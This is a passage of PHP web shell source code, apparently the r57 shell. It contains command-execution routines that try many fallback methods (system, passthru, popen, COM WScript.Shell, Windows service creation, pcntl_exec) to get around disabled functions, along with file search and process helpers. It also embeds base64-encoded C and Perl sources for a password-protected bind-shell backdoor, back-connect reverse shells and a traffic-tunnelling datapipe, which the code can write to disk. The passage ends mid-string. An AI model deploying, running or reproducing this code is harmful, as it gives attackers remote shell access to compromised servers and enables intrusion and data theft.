2831 }
2832 elseif(@function_exists('system'))
2833 {
2834 @ob_start();
2835 @system('$cfe');
2836 $res = @ob_get_contents();
2837 @ob_end_clean();
2838 }
2839 elseif(@function_exists('passthru'))
2840 {
2841 @ob_start();
2842 @passthru($cfe);
2843 $res = @ob_get_contents();
2844 @ob_end_clean();
2845 }
2846 elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
2847 {
2848 $res = "";
2849 if(@function_exists('fread') && @function_exists('feof')){
2850 while(!@feof($f)) { $res .= @fread($f,1024); }
2851 }else if(@function_exists('fgets') && @function_exists('feof')){
2852 while(!@feof($f)) { $res .= @fgets($f,1024); }
2853 }
2854 @pclose($f);
2855 }
2856 elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
2857 {
2858 $res = "";
2859 if(@function_exists('fread') && @function_exists('feof')){
2860 while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
2861 }else if(@function_exists('fgets') && @function_exists('feof')){
2862 while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
2863 }
2864 @proc_close($f);
2865 }
2866 }else{$res = safe_ex($cfe);}
2867 return htmlspecialchars($res);
2868}
2869
2870
2871function safe_ex($cfe)
2872{global $unix,$tempdir;
2873 $res = '';
2874 if (!empty($cfe))
2875 {
2876 if(extension_loaded('perl')){
2877 @ob_start();
2878 $safeperl=new perl();
2879 $safeperl->eval("system('$cfe')");
2880 $res = @ob_get_contents();
2881 @ob_end_clean();
2882 }
2883 elseif(!$unix && extension_loaded('ffi'))
2884 {
2885 $output=$tempdir.uniqid('NJ');
2886 $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
2887 if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
2888 else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
2889 while(!@file_exists($output))sleep(1);
2890 $res=moreread($output);
2891 @unlink($output);
2892 }
2893 elseif(!$unix && extension_loaded('win32service'))
2894 {
2895 $output=$tempdir.uniqid('NJ');
2896 $n_ser=uniqid('NJ');
2897 if(!@function_exists('escapeshellarg'))
2898 {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
2899 else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
2900 @win32_start_service($n_ser);
2901 @win32_stop_service($n_ser);
2902 @win32_delete_service($n_ser);
2903 while(!@file_exists($output))sleep(1);
2904 $res=moreread($output);
2905 @unlink($output);
2906 }
2907 elseif(!$unix && extension_loaded("win32std"))
2908 {
2909 $output=$tempdir.uniqid('NJ');
2910 if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
2911 else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
2912 while(!@file_exists($output))sleep(1);
2913 $res=moreread($output);
2914 @unlink($output);
2915 }
2916 elseif(!$unix)
2917 {
2918 $output=$tempdir.uniqid('NJ');
2919 $suntzu = new COM("WScript.Shell");
2920 if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
2921 else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
2922 $res=moreread($output);
2923 @unlink($output);
2924 }
2925 elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
2926 {
2927 $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
2928 $output=$tempdir.uniqid('pcntl');
2929 $pid = @pcntl_fork();
2930 if ($pid == -1) {
2931 $res .= '[-] Could not children fork. Exit';
2932 } else if ($pid) {
2933 if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
2934 else {$res .= '[-] Error. Command incorrect.';}
2935 } else {
2936 $cfe = array(" -e 'system(\"$cfe > $output\")'");
2937 if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
2938 if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
2939 die();
2940 }
2941 $res=moreread($output);
2942 @unlink($output);
2943 }
2944/* elseif(1)
2945 {
2946
2947 }
2948*/
2949 }
2950 return htmlspecialchars($res);
2951}
2952
2953function get_users($filename)
2954{
2955 $users = $rows = array();
2956 $rows=@explode("\n",moreread($filename));
2957 if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
2958 if(!$rows[0]) return 0;
2959 foreach ($rows as $string)
2960 {
2961 $user = @explode(":",trim($string));
2962 if(substr($string,0,1)!='#') array_push($users,$user[0]);
2963 }
2964 return $users;
2965}
2966function err($n,$txt='')
2967{
2968echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>';
2969echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
2970if(!empty($txt)) { echo " $txt"; }
2971echo '</b></div></font></td></tr></table>';
2972return null;
2973}
2974function perms($mode)
2975{
2976if (!$GLOBALS['unix']) return 0;
2977if( $mode & 0x1000 ) { $type='p'; }
2978else if( $mode & 0x2000 ) { $type='c'; }
2979else if( $mode & 0x4000 ) { $type='d'; }
2980else if( $mode & 0x6000 ) { $type='b'; }
2981else if( $mode & 0x8000 ) { $type='-'; }
2982else if( $mode & 0xA000 ) { $type='l'; }
2983else if( $mode & 0xC000 ) { $type='s'; }
2984else $type='u';
2985$owner["read"] = ($mode & 00400) ? 'r' : '-';
2986$owner["write"] = ($mode & 00200) ? 'w' : '-';
2987$owner["execute"] = ($mode & 00100) ? 'x' : '-';
2988$group["read"] = ($mode & 00040) ? 'r' : '-';
2989$group["write"] = ($mode & 00020) ? 'w' : '-';
2990$group["execute"] = ($mode & 00010) ? 'x' : '-';
2991$world["read"] = ($mode & 00004) ? 'r' : '-';
2992$world["write"] = ($mode & 00002) ? 'w' : '-';
2993$world["execute"] = ($mode & 00001) ? 'x' : '-';
2994if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
2995if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
2996if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
2997$s=sprintf("%1s", $type);
2998$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
2999$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
3000$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
3001return trim($s);
3002}
3003function in($type,$name,$size,$value,$checked=0)
3004{
3005 $ret = "<input type=".$type." name=".$name." ";
3006 if($size != 0) { $ret .= "size=".$size." "; }
3007 $ret .= "value=\"".$value."\"";
3008 if($checked) $ret .= " checked";
3009 return $ret.">";
3010}
3011function which($pr)
3012{
3013$path = '';
3014$path = ex("which $pr");
3015if(!empty($path)) { return $path; } else { return false; }
3016}
3017function ps($pr)
3018{global $unix;
3019$path = '';
3020if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
3021else{$path = ex("tasklist | findstr \"$pr\"");}
3022if(!empty($path)) { return $path; } else { return false; }
3023}
3024function locate($pr)
3025{
3026$path = '';
3027$path = ex("locate $pr");
3028if(!empty($path)) { return $path; } else { return false; }
3029}
3030function cf($fname,$text)
3031{
3032 if(!morewrite($fname,@base64_decode($text))){err(0);};
3033}
3034function sr($l,$t1,$t2)
3035 {
3036 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
3037 }
3038if (!@function_exists("view_size"))
3039{
3040function view_size($size)
3041{
3042 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
3043 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
3044 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
3045 else {$size = $size . " B";}
3046 return $size;
3047}
3048}
3049 function DirFilesR($dir,$types='')
3050 {
3051 $files = Array();
3052 if(($handle = @opendir($dir)))
3053 {
3054 while (false !== ($file = @readdir($handle)))
3055 {
3056 if ($file != "." && $file != "..")
3057 {
3058 if(@is_dir($dir."/".$file))
3059 $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
3060 else
3061 {
3062 $pos = @strrpos($file,".");
3063 $ext = @substr($file,$pos,@strlen($file)-$pos);
3064 if($types)
3065 {
3066 if(@in_array($ext,explode(';',$types)))
3067 $files[] = $dir."/".$file;
3068 }
3069 else
3070 $files[] = $dir."/".$file;
3071 }
3072 }
3073 }
3074 @closedir($handle);
3075 }
3076 return $files;
3077 }
3078 class SearchResult
3079 {
3080 var $text;
3081 var $FilesToSearch;
3082 var $ResultFiles;
3083 var $FilesTotal;
3084 var $MatchesCount;
3085 var $FileMatschesCount;
3086 var $TimeStart;
3087 var $TimeTotal;
3088 var $titles;
3089 function SearchResult($dir,$text,$filter='')
3090 {
3091 $dirs = @explode(";",$dir);
3092 $this->FilesToSearch = Array();
3093 for($a=0;$a<count($dirs);$a++)
3094 $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
3095 $this->text = $text;
3096 $this->FilesTotal = @count($this->FilesToSearch);
3097 $this->TimeStart = getmicrotime();
3098 $this->MatchesCount = 0;
3099 $this->ResultFiles = Array();
3100 $this->FileMatchesCount = Array();
3101 $this->titles = Array();
3102 }
3103 function GetFilesTotal() { return $this->FilesTotal; }
3104 function GetTitles() { return $this->titles; }
3105 function GetTimeTotal() { return $this->TimeTotal; }
3106 function GetMatchesCount() { return $this->MatchesCount; }
3107 function GetFileMatchesCount() { return $this->FileMatchesCount; }
3108 function GetResultFiles() { return $this->ResultFiles; }
3109 function SearchText($phrase=0,$case=0) {
3110 $qq = @explode(' ',$this->text);
3111 $delim = '|';
3112 if($phrase)
3113 foreach($qq as $k=>$v)
3114 $qq[$k] = '\b'.$v.'\b';
3115 $words = '('.@implode($delim,$qq).')';
3116 $pattern = "/".$words."/";
3117 if(!$case)
3118 $pattern .= 'i';
3119 foreach($this->FilesToSearch as $k=>$filename)
3120 {
3121 $this->FileMatchesCount[$filename] = 0;
3122 $FileStrings = @file($filename) or @next;
3123 for($a=0;$a<@count($FileStrings);$a++)
3124 {
3125 $count = 0;
3126 $CurString = $FileStrings[$a];
3127 $CurString = @Trim($CurString);
3128 $CurString = @strip_tags($CurString);
3129 $aa = '';
3130 if(($count = @preg_match_all($pattern,$CurString,$aa)))
3131 {
3132 $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
3133 $this->ResultFiles[$filename][$a+1] = $CurString;
3134 $this->MatchesCount += $count;
3135 $this->FileMatchesCount[$filename] += $count;
3136 }
3137 }
3138 }
3139 $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
3140 }
3141 }
3142 function getmicrotime()
3143 {
3144 list($usec,$sec) = @explode(" ",@microtime());
3145 return ((float)$usec + (float)$sec);
3146 }
3147$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
3148A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
3149GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
3150b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
3151pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
3152NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
3153ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
3154ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
31557DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
31569tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
31572ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
3158dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
3159lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
3160$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
3161VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
3162JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
3163TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
3164lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
3165Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
3166Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
3167lIENPTk47DQpleGl0IDA7DQp9DQp9";
3168$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
3169aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
3170hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
3171sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
3172kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
3173KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
3174OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
3175$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
3176BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
3177SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
3178KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
3179sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
3180Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
3181QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
3182Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
3183$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
3184x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
3185HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
3186aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
3187lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
3188xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
3189W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
3190LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
3191udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
31920KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
3193iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
3194KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
3195gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
3196hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
3197iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
3198ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
3199vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
3200AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
3201QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
3202ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
3203gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
3204wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
320529jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
3206MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
3207gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
32085zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
3209HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
3210dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
3211KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
3212ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
3213E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
3214Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
3215NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
3216J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
3217CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
3218dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
3219gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
3220lsZSk7DQogIHJldHVybiAwOw0KfQ==";
3221$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
3222CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
3223bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
3224gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
3225NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
3226iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
3227aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
3228SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
3229xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
3230WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
3231CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
